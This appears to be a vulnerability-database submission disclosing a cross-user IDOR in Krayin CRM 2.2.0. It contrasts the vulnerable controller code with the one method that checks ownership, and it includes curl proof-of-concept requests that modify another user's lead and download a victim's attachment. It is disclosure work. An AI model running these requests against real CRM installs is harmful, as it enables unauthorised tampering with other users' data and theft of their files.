| Title | Webkul Krayin CRM 2.2.0 Cross-User IDOR Across Lead, Contact, and Activity Controllers |
|---|
| Description | In Krayin CRM 2.2.0, the DataGrid (list) queries scope results correctly to the requesting staff user via bouncer()->getAuthorizedUserIds(), but the sibling single-object and write endpoints re-fetch by URL id through findOrFail() with no ownership re-check. An authenticated staff user — including the lowest-privilege Sales Rep with view_permission = individual — sees only their own records in the UI, but can read, modify, delete, mass-modify, or download attachments belonging to any other user by incrementing the URL id.
The pattern: list queries protect by user, single-object endpoints don't.
What the list does:
```php
// LeadDataGrid::prepareQueryBuilder
if ($userIds = bouncer()->getAuthorizedUserIds()) {
$queryBuilder->whereIn('leads.user_id', $userIds);
}
```
What `LeadController::view()` (the only method that got it right) does:
```php
$lead = $this->leadRepository->findOrFail($id);
$userIds = bouncer()->getAuthorizedUserIds();
if ($userIds && ! in_array($lead->user_id, $userIds)) {
return redirect()->route('admin.leads.index');
}
```
What every write method does instead:
```php
$lead = $this->leadRepository->findOrFail($id); // owned by anyone
// ... mutate lead ...
```
## Reproduction
Verified live on a stock Krayin 2.2.0 Docker install. From a Sales Rep session (`user_id = 2`), modifying a lead owned by `user_id = 1`:
```bash
curl -X PUT -H "X-XSRF-TOKEN: $XSRF" -H "X-Requested-With: XMLHttpRequest" -b "$JAR" \
--data-urlencode "title=HIJACKED" \
--data-urlencode "description=IDOR PoC" \
"http://target/admin/leads/edit/1"
# → {"message":"Leads updated successfully."}
```
The DB row's `user_id` stays at `1` (the original owner), but the title and description are fully attacker-controlled. The original owner sees the modified content as if they had written it themselves.
Attachment exfiltration uses the same primitive:
```bash
curl -b "$JAR" -o "victim_contract.pdf" "http://target/admin/activities/download/<id>"
```
|
|---|
| Source | ⚠️ https://bytium.com/insights/krayin-crm-2-2-0-cross-user-idor-across-lead-contact-and-activity-controllers |
|---|
| User | suffer (UID 74855) |
|---|
| Submission | 05/16/2026 16:47 (30 days ago) |
|---|
| Moderation | 06/14/2026 14:02 (29 days later) |
|---|
| Status | Duplicate |
|---|
| VulDB entry | 357337 [Krayin CRM 2.2.x GET LeadController.php improper authorization] |
|---|
| Points | 0 |
|---|